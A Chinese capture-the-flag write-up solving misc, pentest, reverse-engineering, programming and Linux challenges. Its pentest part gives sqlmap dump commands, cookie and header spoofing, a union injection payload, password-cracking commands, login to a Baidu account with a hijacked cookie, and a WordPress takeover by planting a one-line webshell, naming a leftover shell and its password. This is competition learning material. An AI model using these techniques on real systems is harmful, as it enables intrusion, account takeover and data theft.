0x01 misc
too young too simple
一个叫flag.bmp的文件,但是无法打开。文件头42 4D确实是bmp文件的头,但是文件尾49 45 4E 44 AE 42 60 82
却是png文件的尾。
另外文件头中的IHDR也能确信这是一个png图片。将文件头的42 4D E3 BF 22 00 00 00
修改为png头89 50 4E 47 0D 0A 1A 0A
,顺利打开得到一张图片。
图上是appleu0大神的blog地址,后面的提示意味不明。搜了下weichuncai
并访问blog才知道这是blog上的动漫人物。与之聊天输入flag得到Flag。Flag貌似是海贼王里的。大神果然是十足的动漫控啊!
你喜不喜欢萌萌哒的姐姐
一张loli的图,在jpg尾FF D9后还有很多可显字符。
全部复制出来,看编码应该是base64,放到hackbar里base64decode一下,却得到很多不可显字符,但是发现了JFIF标识,应该是base64encode了一张图片得到的。
下面是解码脚本。
import base64
f = open('1.jpg', 'rb')
pic = f.read()
index = pic.find('\xff\xd9')
flag = pic[index + 5:]
f.close()
f1 = open('flag.jpg', 'w')
f1.write(base64.decodestring(flag))
f1.close()
运行得到flag.jpg。
开胃小菜
题目要求修改参赛口号为Hacked by white god!。
在个人信息页面http://hack.myclover.org/team_info
的HTML注释中发现提示:
更新口号翻译为upvoice,简直不忍直视,不能再low。 访问http://hack.myclover.org/team_info/upvoice?voice=Hacked+by+white+god!
得到Flag。
白神的假期
一张jpg图片,在文件尾FF D9后还有不少内容,而且是rar文件头52 61 72 21
。
复制出剩下的部分成rar文件解压得到flag.txt。
在base64decode一下就得到Flag:KEY:SYC{Y34h!Thi5_15_th3_jp9_r4r_K3Y}
reg
看到com啥的基本上就知道这肯定是个url了,再加上开始部分twi以及com之前的部分是从syclover中取,就能猜出是twitter.com,追加上后面的asdlalalalala得到url:twitter.com/asdlalalalala
,访问url得到Flag。
bilibili
最坑的题没有之一。出题者丧心病狂居然要求通过bilibili的会员晋级考试,还得至少80分。好不容易通过修改HTML代码弄出了一张通过图,竟然还要关注出题者。无奈只好仔细百度做题,还好这时候只需要60就晋级成功,出题者也无法分辨我到底是60还是80。
0x02 pentest
HTTP Base1
Flag在HTTP response header中。
HTTP Base2
题目要求必须本机访问,开始以为加上X-Forwarder-For: 127.0.0.1到request header中就能解决,后来才知道也有从Client-IP来判断访问者来路的,于是填上Client-IP: 127.0.0.1到request header中得到Flag。
HTTP Base3
题目显示访问者是普通用户,所以思路是变成管理员,再加上cookie中发现有:userid=33; userlevel=2;于是将userid和userlevel都置为1,再次访问得到Flag。
CrackPWD1
直接上ophcrack。Ophcrack基于彩虹表来破解hash口令,特别是针对XP的LM-NT hash,成功率很高。 下载地址:
http://sourceforge.jp/projects/ophcrack/releases/
http://sourceforge.net/projects/ophcrack/files/
CrackPWD2
提示口令起始为SYC#
且长度为8,只需要生成一份包含所有可能性的字典交给工具跑。后4位每位上可见字符一共94个,字典大小为94的4次方行,约7800w。
再加上毛子强大的工具oclhashcat(http://hashcat.net/oclhashcat/),几乎是秒破口令。oclhashcat是一款使用GPU显卡来破密码的工具,分为N卡版和A卡版,号称世界上最快的密码破解器。 运行命令:
cudaHashcat64.exe -t 32 -m 1000 NT.hash pass.dic
美男子
按提示需要认证为美男子。查看cookie发现是:user=diaosi; isboy=0; pass=d93fa3b25f83f202cc51257eee2c9207;
访问者被设为diaosi了,不能忍,果断修改user=meinanzi; isboy=1;
刷新得到Flag。
Cookie中的md5解开是ds0,没用上。
Login
以username=appleU0&password=syclover
登录,发现一行提示 Tips: coverage login。 各种搜索不知道啥叫覆盖登录。各种乱想终于想到是覆盖login,变量覆盖漏洞。经历ISCC2014的变量覆盖题,猜变量名是一件头大的事。我设想了几个可能的变量名:
admin\flag\key\KEY\user\login\submit
以及可能的值:1\true\flag\key\admin\flag\login
,爆破了下没有结果,甚至连中文的值都试过,登录\提交,无果。最终觉得既然是覆盖login,变量名应该就是login,于是在GET的url后面添加上?login=1,尝试了下得到Flag。
白神的shell
直接上代码吧,多线程也不会,跑的慢点,不过也能出结果。
import httplib
s = 'zxcvbnmasdfghjklqwertyuiop'
length = len(s)
uri = '/pentest/findshell/white_god_s_webshell_'
conn = httplib.HTTPConnection("syc.myclover.org")
for i in range(length):
for j in range(length):
for k in range(length):
conn.request("GET", uri + s[i] + s[j] + s[k] + ".php")
response = conn.getresponse()
response.read()
if response.status == 200:
print "white_god_s_webshell_%s%s%s" % (s[i], s[j], s[k]) + ".php"
exit()
德玛西亚
下载的dhs文件可以用7z解压缩,打开解压的文件发现内容是某用户访问baidu的cookie,于是可以用劫持到的cookie冒充该用户登录百度。
利用hackbar修改cookie,刷新登录百度,该用户的baidu id是dsploit_test。开始以为flag会在网盘、文库等地方,找了下没找到,回到个人中心,发现用户有贴吧操作痕迹,果断查看发帖和回帖发现Flag。
Web Base1
简单的Get型注入。
python sqlmap.py –u http://syc.myclover.org/pentest/web1/read.php?id=1 --dbms mysql -D webbase1 -T flag --dump
Web Base2
Post搜索型注入。
python sqlmap.py –u http://syc.myclover.org/pentest/web2/search.php --data “key=my” --dbms mysql -D webbase2 -T #flag --dump
SQL注入
链接是sqlmap.org的山寨页面,在http response header里发现提示,index.php?id=。分别取id=1/2/3/4,页面与默认页面均不同。id=4-1与id=3一样,id=2%2B1与id=3也一样,id应该就是所需要的注入点了。 如果直接上sqlmap的话,会发现有mysql的payload,但是sqlmap无法识别database类型。
在尝试多个tamper之后,发现对关键字进行保护(对关键字添加/!/,如/!select/)的versionedmorekeywords.py能有斩获,payload发生了变化,也可以跑出一个数据库。
MySQL的表结构都存放在information_schema中,不能访问这个库,就无法知道sqli库的结构,使用common-tables爆破表名也未果。下图中无法获取数据库的个数,当时觉得可能是过滤了information_schema,也没有想到好的绕过方法,至此暂时陷入了僵局。
两天后,主办方在页面注释中给出了新提示,
,
原来是吞掉了payload中的union,select和blank。可以用selselect和uniunionon来bypass。tamper中的nonrecursivereplacement.py刚好提供了此功能,但是需要对其稍作修改,keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "WHERE", "FROM")中的后4项应去掉,只保留UNION和SELECT。这也是我之前使用versionedmorekeywords.py和nonrecursivereplacement.py的组合没跑出来表的原因。 但是到这一步,能跑出information_schema,也能得出sqli库的表名i_find_key,却得不出列名,经比对count(tables)和count(column)的payload,发现count(column)多使用了一个关键字AND,于是把AND也加入到nonrecursivereplacement.py的keywords中,最终得到Flag。
PS:最后一步不知列名,也可以靠手注获得Flag,前提是i_find_key表仅1列。
lfi
既然叫lfi,那就是Local File Inclusion了。
第一步要求从博客访问lfi页面,那就加上
referer: http://syclover.sinaapp.com/
根据提示file变量有lfi漏洞,读下readme.php
既然Flag is in your_heart,那就读下your_heart.php,得到Flag。
Wireless
生成一个syc19800101-syc20001231的字典,用aircrack-ng跑下就有了。
F4ck
Jsfu*k编码,复制所有编码到浏览器console处运行,得到Flag。
CodeAudit1
下载附件,对其中index.php进行代码审查。
<?php
$id = isset($_GET['syc&id']) ? $_GET['syc&id'] : "";
$sql = "SELECT id, title FROM news";
if (!empty($id)) {
$id = mysql_escape_string($id);
$sql .= " WHERE id=$id";
}
//echo $sql; exit;
$result = mysql_query($sql);
$i = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) :
?>
参数syc&id仅仅使用mysql_escape_string进行了转义而且还没有引号保护,这就产生了注入点。我们可以使用union查询把flag从数据库中搜出来。从codeaudit1.sql中能获取数据库的结构。注意&和#需要编码为%26和%23。
CodeAudit2
扫描codeaudit2的网页发现存在首页备份文件index.php.bak,下载下来看看源码。
<?php
$username = isset($_POST['username']) ? $_POST['username'] : "";
$password = isset($_POST['password']) ? $_POST['password'] : "";
$type = isset($_COOKIE['type']) ? $_COOKIE['type'] : "1";
if (empty($username) || empty($password) || empty($type)) {
echo "Credits Can not be empty!";
exit;
}
$username = mysql_escape_string($username);
$password = mysql_escape_string($password);
$type = mysql_escape_string($type);
$sql = "SELECT password FROM user WHERE username='${username}' and type=${type}";
$result = mysql_query($sql);
if (mysql_num_rows($result) !== 1) {
echo "System error!";
exit;
}
$row = mysql_fetch_row($result);
if ($row[0] == md5(base64_encode($password))) {
echo "FLAG: *****************";
}
?>
页面需要正常提供3个参数,username和password是POST型,type是cookie型。我们只需要保证查询出来的result仅有1行,且输入的password满足md5(base64_encode($password))=数据库中的password,页面就会自动输出Flag。
三个参数中username和password有单引号和转义函数的保护,type参数没有单引号,因此type是一个cookie型注入点。由于页面访问及其不稳定,请求频率稍微快点服务器就返回502错误,而且是基于时间的盲注,即使加上—delay参数,sqlmap也没能远程跑出注入点(在本地倒是跑出来基于时间的盲注)。只能寻求手工注入,结合burpsuite,盲注出了username=admin和passoword=fdc4110d6d6612ced3faacd93ee01749。但是password破解不了…,只能另辟蹊径。
再次审查代码,发现可以输入不存在的username,然后利用type的注入点union select任意的密码,这里可以用concat(16进制的密码)来bypass对引号的转义。输入$password=1,hex(md5(base64_encode($password))) = 0x 6364643936643363633733643164626461666661303363633663643733333962,只需要设置type = 1 union select concat(0x 6364643936643363633733643164626461666661303363633663643733333962)既可得到Flag。
来搞站了
打开链接,是myclover.org的一个分站,主办方还特意提醒不要上“重型扫描器”…
没啥东西,既然是博客就加上/blog,进了一个wordpress站点。
wordpress通常思路是先找出使用了哪些plugin,然后针对爆出过漏洞的plugin进行渗透。这个站点用wordpress专用扫描器wpscan扫了下,仅有一个插件akismet,是一个过滤垃圾留言的。上www.exploit-db.com搜了下该插件,上次出漏洞已经是7年前,心里顿时哇凉哇凉的。
接着用wpscan枚举了下用户名,仅有一个是admin,也顺便使用了wpscan和wpbf(http://www.freebuf.com/tools/36904.html)爆破了下admin口令,感觉太慢,没有结果。虽然后来得知确实是弱口令,而且在弱口令字典中,不知为毛没有爆出来…
还有个想法就是社工了,本来自己社工就弱,blog的博主名LateRain基本上也是常见词,毛都没射出来。
思路陷入停滞状态,持续了两天。两天后,依然没人得分,我感觉在做的人不多,抱着死马当活马医的想法,于是挑了个时间上了“重型扫描器”——AWVS。果然不负众望,扫出了弱口令,我心里那个激动啊。
速度使用admin/abc123登进后台管理。首先上传插件拿webshell,对shell打了个包,上传插件,系统提示需要输入ftp密码才能上传,试了下abc123,不对,遂放弃此路,还有其他路子。第二条编辑插件,写入一句话到页面中,没找到保存或更新按钮,只能换最后一条路了。最后是编辑主题,我在/wp-content/themes/twentytwelve/header.php内插入了一句话,虽然浏览器访问说是500错误,但用菜刀还是成功连接。
在站点根目录下有个fd9c8263b299ee07656aa9e18ac0417a.php
,Flag就在其中。
不知道什么情况主办方回滚了一次,还把弱口令改了,幸好有前人留下的一句话在http://pt1.myclover.org/blog/wp-content/themes/twentytwelve/content.php
,密码是wood。所以能复现成功。
0x03 reverse
VeryEasy_ELF
既然VeryEasy,直接strings一下,发现疑似flag字符串,拼起来输入到程序中就是Flag。
如花姐姐
IDA Pro加载一下ruhua.exe,在sub_401410函数中可以看到注册成功与否的判断过程。
首先读取用户名到v3中,读取密码到v5中,用户名和密码的长度不能超过10,然后v3和v5分别经函数sub_401500和sub_401530处理后,进行比较,不等就注册失败,相等则注册成功。 再看一下sub_401500和sub_401530。
伪代码很简单,用户名的每一位是(a[i]^3)-20,密码的每一位则是(a[i]+2)^0x10,据此可以写出注册机。
username = raw_input('Username:')
password = ''
for i in range(len(username)):
password += chr((((ord(username[i]) ^ 3) - 20) ^ 0x10) - 2)
print "Password:" + password
syclover对应的密码就是:JtZIFo@K
BMW
反编译bmw.apk后,有个TheFlagIsNotHere.java的文件中存在一个getKey()函数,直觉告诉我运行完该函数就能获得Flag。
新建一个java class,将代码copy过来,运行得到Flag。Java代码如下:
public class bmw
{
public static final int LEN = "!0123456789abcdefghijklmnopqrstuvwxyz{}".length();
public static final String SOURCE = "!0123456789abcdefghijklmnopqrstuvwxyz{}";
public static String key = "v}f0frqjudwx4dwl3qv2}3xilqgp71";
public static void main(String[] args)
{
getKey();
}
public static void getKey()
{
StringBuilder stringbuilder = new StringBuilder();
key.length();
int i = 0;
do
{
if(i >= key.length())
return;
int j = "!0123456789abcdefghijklmnopqrstuvwxyz{}".indexOf(key.charAt(i));
if(j == 2)
j = 2 + LEN;
if(j == 1)
j = 1 + LEN;
if(j == 0)
j = LEN;
stringbuilder.append("!0123456789abcdefghijklmnopqrstuvwxyz{}".charAt(j + -3));
i++;
System.out.println(stringbuilder);
} while(true);
}
}
运行结果如图:
女神
题目给了一个PE程序,首先PEid查了下源程序,带了UPX的壳,恰好PEid自带的插件能脱。
脱完之后,OD加载程序,逐步分析,在GetDlgItemTextA处下断点,从获取到用户输入的Key后开始分析。
004011D4 8D7C24 10 lea edi, dword ptr [esp+0x10] ; esp+0x10=key的起始地址
004011D8 83C9 FF or ecx, 0xFFFFFFFF
004011DB 33C0 xor eax, eax
004011DD F2:AE repne scas byte ptr es:[edi]
004011DF F7D1 not ecx
004011E1 49 dec ecx
004011E2 83F9 0D cmp ecx, 0xD ; length(key)=13
004011E5 0F85 F0000000 jnz 004012DB
004011ED 8A440C 10 mov al, byte ptr [esp+ecx+0x10]
004011F1 3C 30 cmp al, 0x30 ; key[i]>=0x30
004011F3 0F8C E2000000 jl 004012DB
004011F9 3C 39 cmp al, 0x39 ; key[i]<=0x39
004011FB 0F8F DA000000 jg 004012DB
00401207 0FBE7C24 16 movsx edi, byte ptr [esp+0x16] ; edi=key[6]
0040120C 0FBE4C24 10 movsx ecx, byte ptr [esp+0x10] ; ecx=key[0]
00401211 0FBE5424 19 movsx edx, byte ptr [esp+0x19] ; edx=key[9]
00401216 8D4439 A0 lea eax, dword ptr [ecx+edi-0x60] ; eax=key[6]+key[0]-0x60
0040121A 83EA 26 sub edx, 0x26 ; edx=key[9]-0x26
0040121D 3BC2 cmp eax, edx ; key[6]+key[0]-0x60=key[9]-0x26
0040121F 0F85 B6000000 jnz 004012DB
00401225 8A5C24 17 mov bl, byte ptr [esp+0x17] ; bl=key[7]
00401229 8D41 D0 lea eax, dword ptr [ecx-0x30]
0040122C 99 cdq
0040122D 0FBEF3 movsx esi, bl ; esi=key[7]
00401230 83E2 03 and edx, 0x3
00401233 03C2 add eax, edx
00401235 8D56 D0 lea edx, dword ptr [esi-0x30] ; edx=key[7]-0x30
00401238 C1F8 02 sar eax, 0x2 ; eax=(key[0]-0x30)>>2
0040123B 3BC2 cmp eax, edx ; (key[0]-0x30)>>2=key[7]-0x30
0040123D 0F85 98000000 jnz 004012DB
00401243 385C24 14 cmp byte ptr [esp+0x14], bl ; key[4]=key[7]
00401247 0F85 8E000000 jnz 004012DB
0040124D 0FBE4424 11 movsx eax, byte ptr [esp+0x11]
00401252 8D1430 lea edx, dword ptr [eax+esi]
00401255 03D1 add edx, ecx
00401257 03D7 add edx, edi ; edx=key[0]+key[1]+key[6]+key[7]
00401259 81FA D4000000 cmp edx, 0xD4 ; key[0]+key[1]+key[6]+key[7]=0xD4
0040125F 75 7A jnz short 004012DB
00401261 0FBE5424 12 movsx edx, byte ptr [esp+0x12]
00401266 0FBE7424 15 movsx esi, byte ptr [esp+0x15]
0040126B 03F2 add esi, edx ; esi=key[2]+key[5]
0040126D 03C1 add eax, ecx ; eax=key[0]+key[1]
0040126F 3BC6 cmp eax, esi ; key[2]+key[5]=key[0]+key[1]
00401271 75 68 jnz short 004012DB
00401273 0FBE4424 13 movsx eax, byte ptr [esp+0x13] ; eax=key[3]
00401278 42 inc edx ; edx=key[2]+1
00401279 3BD0 cmp edx, eax ; key[2]+1=key[3]
0040127B 75 5E jnz short 004012DB
0040127D 807C24 16 38 cmp byte ptr [esp+0x16], 0x38 ; key[6]=0x38
00401282 75 57 jnz short 004012DB
00401284 807C24 10 39 cmp byte ptr [esp+0x10], 0x39 ; key[0]=0x39
00401289 75 50 jnz short 004012DB
0040128B 807C24 18 30 cmp byte ptr [esp+0x18], 0x30 ; key[8]=0x30
00401290 75 49 jnz short 004012DB
00401294 B1 32 mov cl, 0x32
00401296 384C04 10 cmp byte ptr [esp+eax+0x10], cl ; key[i]=0x32?
0040129A 75 01 jnz short 0040129D
0040129C 45 inc ebp ; ebp=count(key[i]==0x32)
0040129D 40 inc eax
0040129E 83F8 0D cmp eax, 0xD
004012A1 7C F3 jl short 00401296
004012A3 83FD 03 cmp ebp, 0x3 ; count(key[i]==0x32)=3
004012A6 75 33 jnz short 004012DB
004012A8 0FBE4424 1B movsx eax, byte ptr [esp+0x1B]
004012AD 0FBE4C24 1A movsx ecx, byte ptr [esp+0x1A] ; ecx=key[10]
004012B2 8D50 FF lea edx, dword ptr [eax-0x1] ; edx=key[11]-1
004012B5 3BCA cmp ecx, edx ; key[10]=key[11]-1
004012B7 75 22 jnz short 004012DB
004012B9 83C1 D0 add ecx, -0x30
004012BC 83C0 D0 add eax, -0x30
004012BF 0FAFC8 imul ecx, eax ; ecx=key[10]*key[11]
004012C2 0FBE4424 1C movsx eax, byte ptr [esp+0x1C]
004012C7 83E8 30 sub eax, 0x30 ; eax=key[12]
004012CA 33D2 xor edx, edx
004012CC 3BC8 cmp ecx, eax ; key[10]*key[11]=key[12]
有了上述各个条件,加上key2=0x35的提示,容易分析出9156258207236就是Key。
toosimple附件又是一个apk,反编译后几个java文件翻了翻,没有结果,但是发现了一个libgetKey.so,是个ELF文件,果断祭出IDA,果不其然发现了关键函数calculateKey()。
顺着伪代码写了个脚本,运行下得到Flag。
str = 'RW@w,!fWj&Bpa=zlemIu6}'
dest = list(str)
v0 = 11
v1 = 1
v2 = 0
while v2 != 21:
v3 = ord(dest[v2])
if v2 > 10:
dest[v2] = chr(v3 - v0)
v0 -= 1
else:
dest[v2] = chr(v3 + v1)
v1 += 1
v2 += 1
print "Flag:"+''.join(dest)
ATM
先本地运行程序,同时用IDA加载。
sub_804859E即输出上面的部分。要求覆盖到存放money的内存地址为0x63795324,即$Syc,下图中对应的是a1的内存地址,同时a1也是sub_804859E函数的参数。
再看下接收输入的函数sub_804872A。
v22是我们的输入部分,v24作为存放money的参数带入sub_804859E中运行。由于没有对输入v22的长度做校验,我们就可以输入较长字符串来覆盖掉v24的内存地址,达到目的。下面看下v22和v24之间地址差,以便确定需要多长的shellcode。
因此只需要0x3C-0x1A=34个字符及就能覆盖掉v22到v24之间的内存地址,再加上$Syc就能使money=0x63795324。因此shellcode可以取为a*34+$Syc。本地溢出的结果如图。
EasyElf
出了一个VeryEasy_ELF,又来一个EasyELF,IDA加载下,下面的else分支,有疑似flag。输入的password存在v14处,v14与疑似flag字样进行比较,比对正确提交却不正确。真正的True flag在上面的if分支中,与用户输入无关。
根据伪代码的脚本如下,运行得到Flag。
v3 = '\x69\x75\x6f\x63\x67\x71\x70\x67'
v13 = [''] * 8
i = 7
while i >= 0:
v13[i] = chr((ord(v3[7 - i])) - i)
i -= 1
print 'Flag:SYC{'+''.join(v13)+'}'
00xx
开始不知道啥叫SEH,百度百科上是这么说的:SEH("Structured Exception Handling"),即结构化异常处理,是(windows)操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。OD加载00xx时,在获取到用户输入后,单步运行很容易产生异常,然后程序就结束了。但是可以通过一些内存地址来跳过这些异常。 首先在GetDlgItemTextW处下断,输入后,程序返回到0040111F,运行完0040111F后,应修改EIP(CPU区域右键有个New origin here选项就是EIP跳转功能)直接跳转到00401136。然后F7进入到目标函数00401190。
运行完00401193,应直接跳转到004011A3处,从这里开始程序将00403018处的unicode字符串sYC.与00403378处输入字符串的前4位分别作异或,结果存放在00403388处
运行完004011ED后,应直接跳转到00401206处,从这里开始程序开始处理输入字符串第4位之后的部分,0040123A处要求上面异或后的4位相加=wtoi(key[4:])+0x3E,满足此条件后,再判断异或后的前3位是不是”C6;”。因此可以退出key的前3位分别是0x43^0x73,0x36^0x59,0x3B^0x43,对应的是”0ox”。
但是这里没有对key3做限制,事实上只要满足key4^0x2E+0x76=wtoi(key[4:]),均能注册成功。
唯一能解释最终flag(0oxX236)的只有题目叫00xx了。 溢出和SEH这块确实不怎么会,有不对的地方,请大牛们批评指正。
0x04 program
XOR
题目提示XOR以及与正常程序的比对,那就将out.exe前4字节7D 6B A0 31和正常程序00xx.exe前4字节4D 5A 90 00异或下得到30 31 30 31,猜测所谓的加密就是源程序每两字节分别与30 31异或,下面是解密代码。
f1 = open('out.exe', 'r')
out = list(f1.read())
xor = [0x30, 0x31]
for i in range(len(out)):
out[i] = chr(ord(out[i]) ^ xor[i % 2])
f1.close()
f2 = open('xor.exe', 'w')
f2.write(''.join(out))
f2.close()
运行输出的xor.exe拿到Flag。
LIGHT
开窗游戏的算法,我参考了一篇论文《华容道、开窗等经典智力问题的求解算法研究》。下面是原文中对算法的解释。 经过分析得知,操作顺序不影响操作结果,对一个窗户操作偶数次等价于操作0次(即不操作);操作奇数次等价于操作1次,故最后的解答的形式可以表示为一个数组a(i, j)。窗子(i, j)不需要操作时,a(i, j)=0;窗子(i, j)需要操作一次时,a(i, j)=1。 因为每个窗户(i, j)有两种状态,一共有m_n个,所以一共有2n_m 种可能,时间复杂度很大。进一步分析可知,窗子(i, j)的状态只与以下因素有关:窗子(i, j)的初始状态,以及a(i, j),a(i-1, j),a(i+1, j),a(i, j-1),a(i, j+1)。假设已经确定第一行的每个窗子是否操作,则对于窗子(1, j),由于窗子(1,j)的初始颜色以及a(1, j),a(i, j-1),a(i, j+1)都已确定,则该窗子的颜色只能由a(i+1, j)来调整。模拟第一行的操作过程后,若a(1, j)仍为开,则必须a(2, j)=1才能使窗子(1, j)满足条件;同理当a(1, j)为关时,可知a(2, j)=0,这样a(2, j)(1≤j≤n)也已经确定,依此类推可推出所有a(i, j)的值(1≤i≤m, 1≤j≤n ),最后验证最后一行窗子是否都已关闭即可。 从而可以枚举第一行每个窗子是否操作,共需枚举2n种可能。对于每种可能按以上方法进行递推,找出其中可使最后一行均为关闭的方案即可。具体算法如下(C#):
/************************************************************
请将1.txt置于Light.exe同路径下程序自动读取1.txt的状态进行求解
************************************************************/
using System;
using System.Collections.Generic;
using System.IO;
namespace LIGHT
{
class Program
{
private static int m = 0, n = 0; // 窗户的行数m和列数n
private static int[,] window; // 窗户的状态数组
private static List<String> solution = new List<string>(); // 最终的解法
static void Main(string[] args)
{
init(); //读取1.txt并初始化window[m,n]
if (solve())
{
Console.WriteLine("Solved!");
foreach (string s in solution)
{
Console.Write(s + " ");
}
}
else
Console.WriteLine("Can't solve!");
Console.ReadKey();
}
public static void init()
{
List<String> state = new List<string>(); //以行为单位存放1.txt中的内容
try
{
FileStream fs = new FileStream("./1.txt", FileMode.Open);
StreamReader sr = new StreamReader(fs);
string strLine = null;
while ((strLine = sr.ReadLine()) != null)
{
state.Add(strLine);
}
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Environment.Exit(0);
}
m = state.Count;
n = state[0].Length;
window = new int[m, n];
for (int i = 0; i < m; i++)
{
for (int j = 0; j < n; j++)
{
window[i, j] = Int32.Parse(state[i][j].ToString());
}
}
}
public static bool solve() // 全变成0,return true; 不能全变成0,return false
{
int max = (int)Math.Pow(2, n);
for (int k = 0; k < max; k++) // 对第一行的所有可能进行枚举
{
int r = k;
int[,] tmp = new int[m, n];
for (int i = 0; i < m; i++) // 将原始情况复制到临时数组中操作
{
for (int j = 0; j < n; j++)
{
tmp[i, j] = window[i, j];
}
}
for (int j = 0; j < n; j++) // 第一行
{
if (r % 2 == 1)
{
change(0, j, tmp);
solution.Add("(" + 1 + "," + (j + 1) + ")");
}
r = r / 2;
}
for (int i = 1; i < m; i++) // 递推后面的行
{
for (int j = 0; j < n; j++)
{
if (tmp[i - 1, j] == 1)
{
change(i, j, tmp);
solution.Add("(" + (i + 1) + "," + (j + 1) + ")");
}
}
}
bool check = true;
for (int j = 0; j < n; j++) // 验证最后一行是否全是0
{
if (tmp[m - 1, j] == 1)
{
check = false;
solution.Clear();
break;
}
}
if (check)
return true; // 全0有解!
}
return false; // 无解
}
private static void change(int i, int j, int[,] tmp) // 开关窗操作,分9种情形
{
tmp[i, j] = swap(tmp[i, j]);
if (0 < i && i < m - 1 && 0 < j && j < n - 1)
{
tmp[i, j - 1] = swap(tmp[i, j - 1]);
tmp[i - 1, j] = swap(tmp[i - 1, j]);
tmp[i, j + 1] = swap(tmp[i, j + 1]);
tmp[i + 1, j] = swap(tmp[i + 1, j]);
return;
}
if (0 < i && i < m - 1 && j == 0)
{
tmp[i - 1, 0] = swap(tmp[i - 1, 0]);
tmp[i, 1] = swap(tmp[i, 1]);
tmp[i + 1, 0] = swap(tmp[i + 1, 0]);
return;
}
if (i == 0 && 0 < j && j < n - 1)
{
tmp[0, j - 1] = swap(tmp[0, j - 1]);
tmp[0, j + 1] = swap(tmp[0, j + 1]);
tmp[1, j] = swap(tmp[1, j]);
return;
}
if (0 < i && i < m - 1 && j == n - 1)
{
tmp[i, n - 2] = swap(tmp[i, n - 2]);
tmp[i - 1, n - 1] = swap(tmp[i - 1, n - 1]);
tmp[i + 1, n - 1] = swap(tmp[i + 1, n - 1]);
return;
}
if (i == m - 1 && 0 < j && j < n - 1)
{
tmp[m - 1, j - 1] = swap(tmp[m - 1, j - 1]);
tmp[m - 2, j] = swap(tmp[m - 2, j]);
tmp[m - 1, j + 1] = swap(tmp[m - 1, j + 1]);
return;
}
if (i == 0 && j == 0)
{
tmp[0, 1] = swap(tmp[0, 1]);
tmp[1, 0] = swap(tmp[1, 0]);
return;
}
if (i == 0 && j == n - 1)
{
tmp[0, n - 2] = swap(tmp[0, n - 2]);
tmp[1, n - 1] = swap(tmp[1, n - 1]);
return;
}
if (i == m - 1 && j == n - 1)
{
tmp[m - 1, n - 2] = swap(tmp[m - 1, n - 2]);
tmp[m - 2, n - 1] = swap(tmp[m - 2, n - 1]);
return;
}
if (i == m - 1 && j == 0)
{
tmp[m - 2, 0] = swap(tmp[m - 2, 0]);
tmp[m - 1, 1] = swap(tmp[m - 1, 1]);
return;
}
}
private static int swap(int i)
{
return (i == 1) ? 0 : 1;
}
}
}
题中提供初始情况的运行结果如下:
小菜一碟
e有多种取值,但是最终的明文能被识别的很少。鉴于e不大,可以枚举出所有可能的e,看了下结果,发现有一种情形明文每个位置的值都在130以下,能按ascii解码。
def foo(num1, num2, cmd):
q = r = s = t = 0
r1 = num1
r2 = num2
s1 = t2 = 1
s2 = t1 = 0
while r2 > 0:
q = int(r1 / r2)
r = r1 % r2
s = s1 - q * s2
t = t1 - q * t2
r1 = r2
r2 = r
s1 = s2
s2 = s
t1 = t2
t2 = t
if cmd == 1: # cmd = 1, return gcd(num1,num2)
return r1
if cmd == 2: # cmd = 2, reyurn num^(-1)(mod num2)
if s1 < 0:
return s1 + num2
return s1
cipher = [1286,7792,11086,13837,4162,11482,3562,383,15995,21350,15374,3562,8713,15995,3267,16051,18518,16194,3562,15995,15374]
n = 23651
f = 23232
length = len(cipher)
e = []
for i in range(3, 10000, 2):
if foo(i, f, 1) == 1:
e.append(i)
for j in range(len(e)):
d = foo(e[j], f, 2)
plain = []
for k in range(length):
plain.append(pow(cipher[k], d, n))
flag = True
for l in range(length):
if plain[l] > 128:
flag = False
if flag:
for m in range(length):
plain[m] = chr(plain[m])
print 'e = %4d d = %5d plain = %s' % (e[j], d, "".join(plain))
运行结果:
0x05 #linux
奇怪的txt
解压附件得到一个key.txt,中间部分是实际文件的二进制码,能看出是一个BZ2文件,右侧是对应的ASCII值。
写一个脚本将中间部分复制出来到一个新文件中。
import binascii
f = open('key.txt','r')
content = ''
for line in f.readlines():
content += line[9:49]
f.close()
content = content.replace(' ','')
he = binascii.a2b_hex(content)
f1 = open('newkey.bz2','w')
f1.write(he)
f1.close()
运行后得到newkey.bz2,解压三次后得到一个key文件。base64decode一下得到FLAG:SYC{L1nux_taR_gZ1p_SYC}。
史上第二难的题目
运行下程序,结果是10000行9位数,多次运行发现每次的结果都一致。将运行结果复制到文件中,读取文件进行排序。
f = open('lin2.txt','r')
num = list()
for line in f.readlines():
num.append(line[0:9])
f.close()
num.sort()
print num[6249]
运行结果如图。
lalala
源程序在我的kali上无法运行,一直没找到libcrypto.so.1.0.0,求大神指教。
不能运行那就上IDA吧,据题意及f5得到的伪代码来看,这里应该用的是RC4加密算法。输入的4个ASCII码数字做密钥,下图红框中应该是密文,用密钥解密密文,若解出来的明文前三字符以SYC(83 89 67)开头,则明文就是Flag。
我们就可以针对密文进行爆破,下面是爆破脚本。
def rc4(data, key):
#if the data is a string, convert to hex format.
if(type(data) is type("string")):
tmpData = data
data = []
for tmp in tmpData:
data.append(ord(tmp))
#if the key is a string, convert to hex format.
if(type(key) is type("string")):
tmpKey = key
key = []
for tmp in tmpKey:
key.append(ord(tmp))
#the Key-Scheduling Algorithm
x = 0
box = list(range(256))
for i in range(256):
x = (x + box[i] + key[i % len(key)]) % 256
box[i], box[x] = box[x], box[i]
#the Pseudo-Random Generation Algorithm
x = 0
y = 0
out = []
for c in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(c ^ box[(box[x] + box[y]) % 256])
result = ""
printable = True
for tmp in out:
if(tmp < 0x21 or tmp > 0x7e):
# there is non-printable character
printable=False
break
result += chr(tmp)
if(printable == False):
result = ""
#convert to hex string
for tmp in out:
result += "{0:02X}".format(tmp)
return result
if __name__ == '__main__':
a = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
b = ')}'
length = len(a)
ciphertext = '\x5F\x20\x6B\x24\x1C\x48\xCA\xFC\xF5\x41\x2D\xD4\xDA'
for i in range(length):
for j in range(length):
for k in range(length):
for l in range(len(b)):
key = a[i] + a[j] + a[k] + b[l]
plaintext = rc4(ciphertext, key)
if plaintext[0:3]=='SYC':
print '%s %s' % (key,plaintext)
exit(0)
其中RC4算法来自http://blog.csdn.net/white_eyes/article/details/6560355
。运行得到
